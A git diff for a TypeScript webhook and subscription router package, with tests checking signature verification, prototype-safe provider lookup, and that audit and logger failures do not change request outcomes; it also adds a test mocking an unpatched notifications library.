+    try {
+      const subscribe = await router(req('POST', 'acme_t1', body));
+      expect(subscribe?.status).toBe(200);
+      expect(await subscribe?.json()).toMatchObject({
+        subscription: {
+          threadId: 'acme_t1',
+          providerId: 'github',
+          externalResourceId: 'res:1',
+        },
+      });
+      expect(await factory.store().listForThread('acme_t1')).toHaveLength(1);
+      const unsubscribe = await router(req('DELETE', 'acme_t1', body));
+      expect(unsubscribe?.status).toBe(200);
+      expect(await unsubscribe?.json()).toEqual({ removed: true });
+      expect(await factory.store().listForThread('acme_t1')).toEqual([]);
+      expect(events).toEqual([
+        expect.objectContaining({
+          action: 'subscribe',
+          outcome: 'accepted',
+          pollingLifecycle: 'failed',
+          reason: 'polling-reconcile-failed',
+          providerId: 'github',
+          externalResourceId: 'res:1',
+        }),
+        expect.objectContaining({
+          action: 'unsubscribe',
+          outcome: 'accepted',
+          pollingLifecycle: 'reconciled',
+          providerId: 'github',
+          externalResourceId: 'res:1',
+        }),
+      ]);
+      expect(events[1]).not.toHaveProperty('reason');
+      expect(audit).toHaveBeenCalledTimes(2);
+      expect(reconcilePolling).toHaveBeenCalledTimes(2);
+      expect(logged).toHaveBeenCalledTimes(3);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it('captures the audit callback and preserves its options receiver on a list', async () => {
+    let receiver: SubscriptionRouterOptions | undefined;
+    const audit = vi.fn(function (this: SubscriptionRouterOptions) {
+      receiver = this;
+    });
+    const replacement = vi.fn();
+    const options: SubscriptionRouterOptions = {
+      resolve: async () => ctx('operator'),
+      subscriptions: new InMemorySubscriptionStoreFactory(),
+      validateThreadTarget: async () => undefined,
+      audit,
+    };
+    const router = createSubscriptionRouter(options);
+    options.audit = replacement;
+    const response = await router(req('GET', 'acme_t1'));
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toEqual({ subscriptions: [] });
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(receiver).toBe(options);
+    expect(replacement).not.toHaveBeenCalled();
+  });
+});
diff --git a/packages/flowsafe/src/signal-providers/webhook-route.test.ts b/packages/flowsafe/src/signal-providers/webhook-route.test.ts
index 4f2f2a8e..ee5399a9 100644
--- a/packages/flowsafe/src/signal-providers/webhook-route.test.ts
+++ b/packages/flowsafe/src/signal-providers/webhook-route.test.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
 import { describe, expect, it, vi } from 'vitest';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import { ActorResolutionError } from '../approval-api/index.js';
 import {
   EXECUTION_PRINCIPAL_HEADER,
   type ExecutionFenceDatabase,
@@ -489,6 +490,80 @@ describe('createWebhookRouter — verify before parse', () => {
 });
 
 describe('createWebhookRouter — robustness', () => {
+  it.each([
+    'constructor',
+    'toString',
+    '__proto__',
+    'hasOwnProperty',
+    'test',
+  ])('ignores inherited provider %s before secret or signature effects', async (providerId) => {
+    const verify = vi.fn(() => true);
+    const extract = vi.fn(() => ['res:1']);
+    const build = vi.fn(() => ({ source: 'test', kind: 'k', summary: 's' }));
+    const providers = Object.create({
+      test: testProvider({
+        verifyWebhookSignature: verify,
+        extractResourceIds: extract,
+        buildNotification: build,
+      }),
+    }) as Record<string, SignalProviderAdapter>;
+    const secretForProvider = vi.fn(() => 'secret');
+    const store = new InMemorySubscriptionStoreFactory().store();
+    const lookup = vi.spyOn(store, 'listByResource');
+    const threads = stubThreads();
+    const audit = vi.fn();
+    const run = createWebhookRouter({
+      providers,
+      subscriptions: store,
+      topology: createThreadTopology(threads.namespace),
+      secretForProvider,
+      audit,
+    });
+    const request = new Request(
+      `http://host/api/signal-providers/${providerId}/webhook`,
+      { method: 'POST', body: '{}' },
+    );
+
+    expect(await run(request)).toBeNull();
+    expect(request.bodyUsed).toBe(false);
+    expect(secretForProvider).not.toHaveBeenCalled();
+    expect(verify).not.toHaveBeenCalled();
+    expect(extract).not.toHaveBeenCalled();
+    expect(build).not.toHaveBeenCalled();
+    expect(lookup).not.toHaveBeenCalled();
+    expect(threads.addressed).toEqual([]);
+    expect(audit).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'constructor',
+    'test',
+  ])('accepts an explicitly registered own provider %s', async (providerId) => {
+    const verify = vi.fn(() => true);
+    const providers = Object.fromEntries([
+      [providerId, testProvider({ verifyWebhookSignature: verify })],
+    ]);
+    const secretForProvider = vi.fn(() => 'secret');
+    const run = createWebhookRouter({
+      providers,
+      subscriptions: new InMemorySubscriptionStoreFactory().store(),
+      topology: createThreadTopology(stubThreads().namespace),
+      secretForProvider,
+    });
+
+    const response = await run(
+      new Request(`http://host/api/signal-providers/${providerId}/webhook`, {
+        method: 'POST',
+        body: '{}',
+      }),
+    );
+
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toEqual({ matched: 0, delivered: 0 });
+    expect(secretForProvider).toHaveBeenCalledExactlyOnceWith(providerId);
+    expect(verify).toHaveBeenCalledTimes(1);
+  });
+
   function router(secret: string | undefined, provider = testProvider()) {
     const factory = new InMemorySubscriptionStoreFactory();
     return {
@@ -902,6 +977,43 @@ describe('createWebhookRouter and the deployment execution fence', () => {
     );
   });
 
+  it('preserves a locked fence refusal when audit and diagnostics fail', async () => {
+    const audit = vi.fn(async () => {
+      throw new ActorResolutionError('audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const extract = vi.fn(() => ['res:1']);
+    const threads = stubThreads();
+    const router = createWebhookRouter({
+      providers: { test: testProvider({ extractResourceIds: extract }) },
+      subscriptions: new InMemorySubscriptionStoreFactory().store(),
+      topology: createThreadTopology(threads.namespace),
+      secretForProvider: () => 'secret',
+      executionFence: await fenceAt('migration-locked'),
+      audit,
+    });
+    try {
+      const response = await router(webhookRequest('good', {}));
+      expect(response?.status).toBe(503);
+      expect(await response?.json()).toMatchObject({
+        reason: { code: 'EXECUTION_FENCED', state: 'migration-locked' },
+      });
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          outcome: 'rejected',
+          reason: 'execution-fenced',
+          contentBytes: 2,
+        }),
+      );
+      expect(extract).not.toHaveBeenCalled();
+      expect(threads.addressed).toEqual([]);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
   it('still rejects a FORGED signature with 401 while locked', async () => {
     // #given — the verify stays first, so a forgery never learns the fence
     // state and never spends the delivery path.
@@ -942,3 +1054,229 @@ describe('createWebhookRouter and the deployment execution fence', () => {
     expect(response?.status).toBe(200);
   });
 });
+
+describe('createWebhookRouter audit isolation', () => {
+  it.each([
+    ['forged', 'bad', '{}', 1024, 401, 'invalid signature', 'forged-signature'],
+    [
+      'oversized',
+      'good',
+      '{}',
+      0,
+      413,
+      'payload too large',
+      'payload-too-large',
+    ],
+    [
+      'malformed',
+      'good',
+      '{',
+      1024,
+      400,
+      'a JSON body is required',
+      'malformed-body',
+    ],
+  ] as const)('preserves the %s refusal when the audit sink and diagnostic logger throw', async (_label, signature, body, maxBodyBytes, status, message, reason) => {
+    const audit = vi.fn(async () => {
+      throw new RunRouteError(409, 'audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const threads = stubThreads();
+    const extract = vi.fn(() => ['res:1']);
+    const store = new InMemorySubscriptionStoreFactory().store();
+    const lookup = vi.spyOn(store, 'listByResource');
+    const router = createWebhookRouter({
+      providers: { test: testProvider({ extractResourceIds: extract }) },
+      subscriptions: store,
+      topology: createThreadTopology(threads.namespace),
+      secretForProvider: () => 'secret',
+      deploymentTag: 'acme',
+      maxBodyBytes,
+      audit,
+    });
+    try {
+      const response = await router(
+        new Request('http://host/api/signal-providers/test/webhook', {
+          method: 'POST',
+          headers: { 'x-sig': signature },
+          body,
+        }),
+      );
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).toEqual({ error: message });
+      expect(response?.headers.get('cache-control')).toBe('no-store');
+      expect(audit).toHaveBeenCalledExactlyOnceWith({
+        type: 'signal-provider.webhook',
+        providerId: 'test',
+        deploymentTag: 'acme',
+        outcome: 'rejected',
+        reason,
+        contentBytes: body.length,
+        timestamp: expect.any(String),
+      });
+      expect(logged).toHaveBeenCalledTimes(1);
+      expect(extract).not.toHaveBeenCalled();
+      expect(lookup).not.toHaveBeenCalled();
+      expect(threads.addressed).toEqual([]);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it('retains the forgery audit budget when audit and error coercion fail', async () => {
+    const audit = vi.fn(() => {
+      throw {
+        toString() {
+          throw new Error('coercion failed');
+        },
+      };
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    let now = 1000;
+    const router = createWebhookRouter({
+      providers: { test: testProvider() },
+      subscriptions: new InMemorySubscriptionStoreFactory().store(),
+      topology: createThreadTopology(stubThreads().namespace),
+      secretForProvider: () => 'secret',
+      audit,
+      maxForgeryAuditsPerWindow: 2,
+      forgeryAuditWindowMs: 1000,
+      now: () => now,
+    });
+    try {
+      for (let i = 0; i < 4; i += 1) {
+        const response = await router(webhookRequest('bad', {}));
+        expect(response?.status).toBe(401);
+        expect(await response?.json()).toEqual({ error: 'invalid signature' });
+      }
+      expect(audit).toHaveBeenCalledTimes(2);
+      now = 2000;
+      expect((await router(webhookRequest('bad', {})))?.status).toBe(401);
+      expect(audit).toHaveBeenCalledTimes(3);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it.each([
+    ['delivered', 200, 200, { matched: 1, delivered: 1 }],
+    ['content denial', 422, 200, { matched: 1, delivered: 0, denied: 1 }],
+    ['address refusal', 404, 200, { matched: 1, delivered: 0, failed: 1 }],
+    ['deferred', 503, 503, { matched: 1, delivered: 0, deferred: 1 }],
+  ] as const)('retains the %s delivery outcome when audit and diagnostic logger throw', async (_label, downstreamStatus, status, payload) => {
+    const audit = vi.fn(async () => {
+      throw new ActorResolutionError('audit failed');
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const factory = new InMemorySubscriptionStoreFactory();
+    await seed(factory, 'acme', 'acme_t1');
+    const threads = stubThreadsWith(downstreamStatus);
+    const router = createWebhookRouter({
+      providers: { test: testProvider() },
+      subscriptions: factory.store(),
+      topology: createThreadTopology(threads.namespace),
+      secretForProvider: () => 'secret',
+      audit,
+    });
+    try {
+      const response = await router(webhookRequest('good', {}));
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).toEqual(payload);
+      expect(audit).toHaveBeenCalledExactlyOnceWith({
+        type: 'signal-provider.webhook',
+        providerId: 'test',
+        outcome: 'accepted',
+        ...payload,
+        ...(downstreamStatus === 503 ? { reason: 'delivery-deferred' } : {}),
+        contentBytes: 2,
+        timestamp: expect.any(String),
+      });
+      expect(threads.addressed).toEqual(['acme_t1']);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it.each([
+    'builder',
+    'delivery',
+  ])('contains unreadable %s errors and continues subsequent delivery with a throwing logger', async (source) => {
+    const failure = Object.defineProperty(new Error(), 'message', {
+      get() {
+        throw new Error('message failed');
+      },
+    });
+    const factory = new InMemorySubscriptionStoreFactory();
+    await seed(factory, 'acme', 'acme_t1');
+    await seed(factory, 'globex', 'globex_t1');
+    const threads = stubThreads();
+    const topology = createThreadTopology(threads.namespace);
+    const deliver = vi.spyOn(topology, 'send');
+    if (source === 'delivery') deliver.mockRejectedValueOnce(failure);
+    const audit = vi.fn(async () => {
+      throw failure;
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    const router = createWebhookRouter({
+      providers: {
+        test: testProvider({
+          buildNotification: (_payload, row) => {
+            if (source === 'builder' && row.threadId === 'acme_t1')
+              throw failure;
+            return { source: 'test', kind: 'k', summary: 's' };
+          },
+        }),
+      },
+      subscriptions: factory.store(),
+      topology,
+      secretForProvider: () => 'secret',
+      audit,
+    });
+    try {
+      const response = await router(webhookRequest('good', {}));
+      const payload = {
+        matched: 2,
+        delivered: 1,
+        ...(source === 'builder' ? { failed: 1 } : { deferred: 1 }),
+      };
+      expect(response?.status).toBe(source === 'builder' ? 200 : 503);
+      expect(await response?.json()).toEqual(payload);
+      expect(audit).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({ outcome: 'accepted', ...payload }),
+      );
+      expect(threads.addressed).toEqual(['globex_t1']);
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it('captures the audit callback and preserves its options receiver', async () => {
+    let receiver: WebhookRouterOptions | undefined;
+    const audit = vi.fn(function (this: WebhookRouterOptions) {
+      receiver = this;
+    });
+    const replacement = vi.fn();
+    const options: WebhookRouterOptions = {
+      providers: { test: testProvider() },
+      subscriptions: new InMemorySubscriptionStoreFactory().store(),
+      topology: createThreadTopology(stubThreads().namespace),
+      secretForProvider: () => 'secret',
+      executionFence: 'none',
+      audit,
+    };
+    const router = createWebhookRouterImpl(options);
+    options.audit = replacement;
+    expect((await router(webhookRequest('good', {})))?.status).toBe(200);
+    expect(audit).toHaveBeenCalledTimes(1);
+    expect(receiver).toBe(options);
+    expect(replacement).not.toHaveBeenCalled();
+  });
+});
diff --git a/packages/flowsafe/src/signal-providers/webhook-route.ts b/packages/flowsafe/src/signal-providers/webhook-route.ts
index 32bc8ad7..ec3d693f 100644
--- a/packages/flowsafe/src/signal-providers/webhook-route.ts
+++ b/packages/flowsafe/src/signal-providers/webhook-route.ts
@@ -2,22 +2,6 @@
 // Webhook ingress that terminates on the Worker, plus the human-only
 // subscribe/unsubscribe surface.
 //
-// THE WEBHOOK GATE (its "auth" IS the signature, not a bearer token):
-//   1. path + method match (else null / 405)
-//   2. provider registered AND its secret configured (else null — route absent,
-//      byte-identical to an unconfigured deployment)
-//   3. read the RAW bytes, size-capped (413)
-//   4. VERIFY the provider signature over the raw bytes — BEFORE any parse, any
-//      subscription lookup, any delivery. A forged signature is REJECTED (401)
-//      and audited. No state is touched on the reject path.
-//   5. parse JSON (400 on malformed)
-//   6. extract the external resource key(s) from the payload
-//   7. map key -> deployment subscription rows — the payload NEVER names a
-//      thread/resource; the row is the authority
-//   8. per-provider deployment rate cap (429-equivalent: skip delivery, audited)
-//   9. deliver each matched row through the topology (which validates the
-//      path-safe thread address), audit the accepted ingest
-//
 // A forged-signature flood must not amplify into the audit log: the reject is
 // UNBOUNDED (every forgery is refused) but the forgery AUDIT is bounded to
 // `maxForgeryAuditsPerWindow` per provider per window (a fixed in-isolate
@@ -45,6 +29,7 @@ import {
   isExecutionFenceRefusal,
   readExecutionFence,
 } from '../do-runner/index.js';
+import { hostErrorText } from '../host-kit/host-approval-service.js';
 import {
   assertNoClientMemoryIds,
   type BoundThreadTargetValidator,
@@ -270,18 +255,44 @@ export function createWebhookRouter(
     return true;
   };
 
+  const reportError = (event: {
+    type:
+      | 'signal-provider.webhook-audit-error'
+      | 'signal-provider.webhook-delivery-error'
+      | 'signal-provider.webhook-delivery-rejected'
+      | 'signal-provider.webhook-error';
+    providerId: string;
+    reason?: string;
+    terminal?: boolean;
+    status?: number;
+  }): void => {
+    try {
+      console.error(JSON.stringify(event));
+    } catch {
+      // Diagnostics cannot change the request's selected outcome.
+    }
+  };
+
   const auditWebhook = async (
     event: Omit<WebhookAuditEvent, 'type' | 'timestamp'>,
   ): Promise<void> => {
     if (!audit) return;
-    await audit({
-      type: 'signal-provider.webhook',
-      ...(options.deploymentTag !== undefined
-        ? { deploymentTag: options.deploymentTag }
-        : {}),
-      timestamp: new Date().toISOString(),
-      ...event,
-    });
+    try {
+      await audit.call(options, {
+        type: 'signal-provider.webhook',
+        ...(options.deploymentTag !== undefined
+          ? { deploymentTag: options.deploymentTag }
+          : {}),
+        timestamp: new Date().toISOString(),
+        ...event,
+      });
+    } catch (error) {
+      reportError({
+        type: 'signal-provider.webhook-audit-error',
+        providerId: event.providerId,
+        reason: hostErrorText(error, true),
+      });
+    }
   };
 
   return async (request) => {
@@ -308,6 +319,7 @@ export function createWebhookRouter(
     // verify with a zero-length HMAC key (Node WebCrypto throws on it, and an
     // empty key that another runtime accepts would be a trivial forgery bypass):
     // `!secret` catches both undefined and ''.
+    if (!Object.hasOwn(providers, providerId)) return null;
     const provider = providers[providerId];
     const secret = secretForProvider(providerId);
     if (!provider || !secret) return null;
@@ -424,14 +436,12 @@ export function createWebhookRouter(
           built = provider.buildNotification(payload, row);
         } catch (error) {
           failed += 1;
-          console.error(
-            JSON.stringify({
-              type: 'signal-provider.webhook-delivery-error',
-              providerId,
-              terminal: true,
-              reason: error instanceof Error ? error.message : String(error),
-            }),
-          );
+          reportError({
+            type: 'signal-provider.webhook-delivery-error',
+            providerId,
+            terminal: true,
+            reason: hostErrorText(error, true),
+          });
           continue;
         }
         try {
@@ -449,55 +459,41 @@ export function createWebhookRouter(
           if (outcome === 'denied') denied += 1;
           else if (outcome === 'failed') failed += 1;
           else deferred += 1;
-          console.error(
-            JSON.stringify({
-              type: 'signal-provider.webhook-delivery-rejected',
-              providerId,
-              status: response.status,
-              terminal: isTerminalDelivery(outcome),
-            }),
-          );
+          reportError({
+            type: 'signal-provider.webhook-delivery-rejected',
+            providerId,
+            status: response.status,
+            terminal: isTerminalDelivery(outcome),
+          });
         } catch (error) {
           const outcome = classifyDeliveryError(error);
           if (outcome === 'denied') denied += 1;
           else if (outcome === 'failed') failed += 1;
           else deferred += 1;
-          console.error(
-            JSON.stringify({
-              type: 'signal-provider.webhook-delivery-error',
-              providerId,
-              terminal: isTerminalDelivery(outcome),
-              reason: error instanceof Error ? error.message : String(error),
-            }),
-          );
+          reportError({
+            type: 'signal-provider.webhook-delivery-error',
+            providerId,
+            terminal: isTerminalDelivery(outcome),
+            reason: hostErrorText(error, true),
+          });
         }
       }
 
-      try {
-        await auditWebhook({
-          providerId,
-          outcome: 'accepted',
-          matched: matched.length,
-          delivered,
-          ...(denied > 0 ? { denied } : {}),
-          ...(failed > 0 ? { failed } : {}),
-          ...(deferred > 0 ? { deferred } : {}),
-          ...(!deliveryAllowed
-            ? { reason: 'rate-limited' }
-            : deferred > 0
-              ? { reason: 'delivery-deferred' }
-              : {}),
-          contentBytes: rawBody.length,
-        });
-      } catch (error) {
-        console.error(
-          JSON.stringify({
-            type: 'signal-provider.webhook-audit-error',
-            providerId,
-            reason: error instanceof Error ? error.message : String(error),
-          }),
-        );
-      }
+      await auditWebhook({
+        providerId,
+        outcome: 'accepted',
+        matched: matched.length,
+        delivered,
+        ...(denied > 0 ? { denied } : {}),
+        ...(failed > 0 ? { failed } : {}),
+        ...(deferred > 0 ? { deferred } : {}),
+        ...(!deliveryAllowed
+          ? { reason: 'rate-limited' }
+          : deferred > 0
+            ? { reason: 'delivery-deferred' }
+            : {}),
+        contentBytes: rawBody.length,
+      });
       // A deferred row answers the sender with a 5xx so its own at-least-once
       // redelivery is what recovers the notification; this deployment has
       // nowhere durable to park an unvetted provider payload, and losing an
@@ -527,13 +523,11 @@ export function createWebhookRouter(
           error.status,
         );
       }
-      console.error(
-        JSON.stringify({
-          type: 'signal-provider.webhook-error',
-          providerId,
-          reason: error instanceof Error ? error.message : String(error),
-        }),
-      );
+      reportError({
+        type: 'signal-provider.webhook-error',
+        providerId,
+        reason: hostErrorText(error, true),
+      });
       return json({ error: 'internal error' }, 500);
     }
   };
@@ -548,7 +542,7 @@ export interface SubscriptionRouterOptions {
   subscriptions: SubscriptionStoreFactory;
   /** Prove subscriptions target durable bound memory, not ephemeral run ids. */
   validateThreadTarget: BoundThreadTargetValidator;
-  /** Who may manage subscriptions. Default RUN_START_ROLES (operator/admin). */
+  /** Who may manage subscriptions. Default RUN_START_ROLES. */
   roles?: readonly ApprovalRole[];
   /** The provider ids a subscription may name. Absent ⇒ any PROVIDER_ID_PATTERN slug. */
   knownProviders?: readonly string[];
@@ -581,7 +575,7 @@ export type SubscriptionRouter = (request: Request) => Promise<Response | null>;
 export function createSubscriptionRouter(
   options: SubscriptionRouterOptions,
 ): SubscriptionRouter {
-  const { resolve, subscriptions } = options;
+  const { resolve, subscriptions, audit: auditSink } = options;
   const roles = options.roles ?? RUN_START_ROLES;
   const base = options.basePath ?? '/api/threads';
   const baseSegments = base.split('/').filter(Boolean);
@@ -628,6 +622,29 @@ export function createSubscriptionRouter(
           : 'list';
 
     let context: ActorContext | undefined;
+    const reportError = (
+      type:
+        | 'signal-provider.subscription-audit-error'
+        | 'signal-provider.polling-reconcile-error',
+      error: unknown,
+      providerId?: string,
+    ): void => {
+      try {
+        console.error(
+          JSON.stringify({
+            type,
+            ...(context?.deploymentTag !== undefined
+              ? { deploymentTag: context.deploymentTag }
+              : {}),
+            ...(providerId !== undefined ? { providerId } : {}),
+            action,
+            reason: hostErrorText(error, true),
+          }),
+        );
+      } catch {
+        // Diagnostics cannot change the request's selected outcome.
+      }
+    };
     const audit = async (
       outcome: 'accepted' | 'rejected',
       extra: {
@@ -637,19 +654,27 @@ export function createSubscriptionRouter(
         reason?: string;
       } = {},
     ): Promise<void> => {
-      if (!options.audit || !context) return;
-      await options.audit({
-        type: 'signal-provider.subscription',
-        ...(context.deploymentTag !== undefined
-          ? { deploymentTag: context.deploymentTag }
-          : {}),
-        actorId: context.actor.id,
-        threadId,
-        action,
-        outcome,
-        ...extra,
-        timestamp: new Date().toISOString(),
-      });
+      if (!auditSink || !context) return;
+      try {
+        await auditSink.call(options, {
+          type: 'signal-provider.subscription',
+          ...(context.deploymentTag !== undefined
+            ? { deploymentTag: context.deploymentTag }
+            : {}),
+          actorId: context.actor.id,
+          threadId,
+          action,
+          outcome,
+          ...extra,
+          timestamp: new Date().toISOString(),
+        });
+      } catch (error) {
+        reportError(
+          'signal-provider.subscription-audit-error',
+          error,
+          extra.providerId,
+        );
+      }
     };
 
     const finishCommittedMutation = async (
@@ -666,42 +691,22 @@ export function createSubscriptionRouter(
           pollingLifecycle = 'reconciled';
         } catch (error) {
           pollingLifecycle = 'failed';
-          console.error(
-            JSON.stringify({
-              type: 'signal-provider.polling-reconcile-error',
-              ...(context?.deploymentTag !== undefined
-                ? { deploymentTag: context.deploymentTag }
-                : {}),
-              providerId,
-              action,
-              reason: error instanceof Error ? error.message : String(error),
-            }),
+          reportError(
+            'signal-provider.polling-reconcile-error',
+            error,
+            providerId,
           );
         }
       }
 
-      try {
-        await audit('accepted', {
-          providerId,
-          externalResourceId,
-          ...(pollingLifecycle === undefined ? {} : { pollingLifecycle }),
-          ...(pollingLifecycle === 'failed'
-            ? { reason: 'polling-reconcile-failed' }
-            : {}),
-        });
-      } catch (error) {
-        console.error(
-          JSON.stringify({
-            type: 'signal-provider.subscription-audit-error',
-            ...(context?.deploymentTag !== undefined
-              ? { deploymentTag: context.deploymentTag }
-              : {}),
-            providerId,
-            action,
-            reason: error instanceof Error ? error.message : String(error),
-          }),
-        );
-      }
+      await audit('accepted', {
+        providerId,
+        externalResourceId,
+        ...(pollingLifecycle === undefined ? {} : { pollingLifecycle }),
+        ...(pollingLifecycle === 'failed'
+          ? { reason: 'polling-reconcile-failed' }
+          : {}),
+      });
     };
 
     try {
@@ -866,11 +871,7 @@ export function createSubscriptionRouter(
       if (error instanceof ActorResolutionError) {
         return json({ error: 'forbidden' }, 403);
       }
-      try {
-        await audit('rejected', { reason: 'internal-error' });
-      } catch {
-        // Best-effort audit must not replace the generic response.
-      }
+      await audit('rejected', { reason: 'internal-error' });
       return internalErrorResponse('signal-providers.subscription', error);
     }
   };
diff --git a/packages/flowsafe/src/signals/d1-shared.ts b/packages/flowsafe/src/signals/d1-shared.ts
index b9c40688..ed5a151e 100644
--- a/packages/flowsafe/src/signals/d1-shared.ts
+++ b/packages/flowsafe/src/signals/d1-shared.ts
@@ -25,9 +25,14 @@ export interface SignalDatabase {
   /**
    * D1's transactional prepared-statement batch. Optional because the simpler
    * signal domains need only `prepare`; notification schema migration requires
-   * it so rollback writers cannot interleave with ordinal backfill.
+   * it so rollback writers cannot interleave with ordinal backfill. The
+   * schedules domain reads `results` off a batch element and off `.all()`, so an
+   * element carries the rows a `D1Result` always carries; a hand-written adapter
+   * that returns only `meta` fails there at runtime.
    */
-  batch?(statements: SignalStatement[]): Promise<unknown[]>;
+  batch?(
+    statements: SignalStatement[],
+  ): Promise<Array<{ results: unknown[]; meta?: { changes?: number } }>>;
 }
 
 /** Rows affected by a D1 write, read from its `{ meta: { changes } }` envelope. */
@@ -36,12 +41,7 @@ export function d1Changes(result: { meta?: { changes?: number } }): number {
   return typeof changes === 'number' ? changes : 0;
 }
 
-/**
- * A Date → ISO-8601 TEXT column value, or null. ISO text so a lexicographic `<`
- * against a cutoff is a correct timestamp comparison — the same encoding the
- * snapshot/memory tables use and the retention purges (and the schema guard)
- * ride on.
- */
+/** A Date → ISO-8601 TEXT column value, or null. */
 export function isoOrNull(value: Date | undefined): string | null {
   return value === undefined ? null : value.toISOString();
 }
diff --git a/packages/flowsafe/src/signals/index.ts b/packages/flowsafe/src/signals/index.ts
index 2cef847c..d2010893 100644
--- a/packages/flowsafe/src/signals/index.ts
+++ b/packages/flowsafe/src/signals/index.ts
@@ -20,6 +20,11 @@ export {
 export type { SignalDatabase, SignalStatement } from './d1-shared.js';
 export {
   createNotificationDispatchTick,
+  DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+  type NotificationDeliveryFailure,
+  type NotificationDeliveryObservation,
+  type NotificationDeliveryStorage,
+  type NotificationDeliveryUpdateResult,
   type NotificationDispatchTickOptions,
   type NotificationDispatchTickResult,
 } from './notification-dispatch.js';
diff --git a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts
new file mode 100644
index 00000000..3613ff62
--- /dev/null
+++ b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts
@@ -0,0 +1,313 @@
+// SPDX-License-Identifier: Apache-2.0
+// The @mastra/core patch seam, against an unpatched Core. The mock is
+// file-scoped, so these cases live apart from the rest of the dispatch suites.
+
+import type { Agent } from '@mastra/core/agent';
+import type {
+  NotificationDeliveryDecision,
+  NotificationDeliveryPolicyConfig,
+  NotificationDeliveryPolicyDecision,
+  NotificationDeliveryPolicyInput,
+  NotificationRecord,
+  NotificationsStorage,
+} from '@mastra/core/notifications';
+import { describe, expect, it, vi } from 'vitest';
+
+import type { ThreadScope } from '../do-runner/index.js';
+import {
+  assertNotificationDeliveryPolicyPatched,
+  assertNotificationSourceKeysPatched,
+  createNotificationDispatchTick,
+  type NotificationDispatchTickOptions,
+} from './notification-dispatch.js';
+import { createThreadSignalRoutes } from './thread-do-routes.js';
+
+// The module shape both mock registrations build: `summarizeNotifications`
+// unpatched, or patched for the delivery-policy case, which reaches the
+// asynchronous probe only when the synchronous one passes.
+const coreWithUnpatchedDeliveryPolicy = vi.hoisted(
+  () =>
+    (
+      actual: typeof import('@mastra/core/notifications'),
+      { patchedAccumulator }: { patchedAccumulator: boolean },
+    ) => {
+      const normalize = (
+        decision: NotificationDeliveryPolicyDecision,
+      ): NotificationDeliveryDecision =>
+        typeof decision === 'string' ? { action: decision } : decision;
+      return {
+        ...actual,
+        // 1.53.0's accumulator is an ordinary object literal, so a source named
+        // after an Object.prototype member resolves the inherited member instead
+        // of its own count. The patched shape is built here rather than read
+        // from the installed core, so both shapes hold whichever core the
+        // workspace installs.
+        summarizeNotifications: (records: NotificationRecord[]) => {
+          const summary = actual.summarizeNotifications(records);
+          const bySource: Record<string, number> = patchedAccumulator
+            ? Object.create(null)
+            : {};
+          for (const notification of records) {
+            if (notification.status !== 'pending') continue;
+            bySource[notification.source] =
+              (bySource[notification.source] ?? 0) + 1;
+          }
+          return { ...summary, bySource };
+        },
+        // 1.53.0's source lookup, reproduced from the shipped patch's `-` lines:
+        // the bare index read resolves an Object.prototype member for a source
+        // named after one, and normalizeDecision hands that member back as the
+        // decision, which therefore carries no action.
+        resolveNotificationDeliveryDecision: async ({
+          config,
+          ...input
+        }: NotificationDeliveryPolicyInput & {
+          config?: NotificationDeliveryPolicyConfig;
+        }): Promise<NotificationDeliveryDecision> => {
+          const custom = await config?.decide?.(input);
+          if (custom) return normalize(custom);
+          const sourceDecision = config?.sources?.[input.record.source];
+          if (sourceDecision) return normalize(sourceDecision);
+          const priorityDecision = config?.priorities?.[input.record.priority];
+          if (priorityDecision) return normalize(priorityDecision);
+          if (config?.default) return normalize(config.default);
+          return actual.defaultNotificationDeliveryDecision(input);
+        },
+      };
+    },
+);
+
+vi.mock('@mastra/core/notifications', async (importOriginal) =>
+  coreWithUnpatchedDeliveryPolicy(
+    await importOriginal<typeof import('@mastra/core/notifications')>(),
+    { patchedAccumulator: false },
+  ),
+);
+
+// Vitest caches a factory's result per registration, so a case that needs the
+// other accumulator registers its own factory rather than resetting modules
+// around a switch the cached result would keep ignoring.
+const mockNotifications = ({
+  patchedAccumulator,
+}: {
+  patchedAccumulator: boolean;
+}): void => {
+  vi.doMock('@mastra/core/notifications', async (importOriginal) =>
+    coreWithUnpatchedDeliveryPolicy(
+      await importOriginal<typeof import('@mastra/core/notifications')>(),
+      { patchedAccumulator },
+    ),
+  );
+  vi.resetModules();
+};
+
+const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/;
+
+function tickOptions(
+  overrides: Record<string, unknown> = {},
+): NotificationDispatchTickOptions {
+  return {
+    // The tick captures the conditional-delivery capability ahead of the patch
+    // probe, so storage lacking it refuses for the other reason.
+    storage: {
+      getNotification: async () => null,
+      updateNotificationDeliveryIfUnchanged: async () => ({
+        outcome: 'unchanged',
+      }),
+    },
+    topology: { send: async () => new Response(null, { status: 404 }) },
+    resolveContext: () => ({}),
+    executionFence: 'none',
+    ...overrides,
+  } as unknown as NotificationDispatchTickOptions;
+}
+
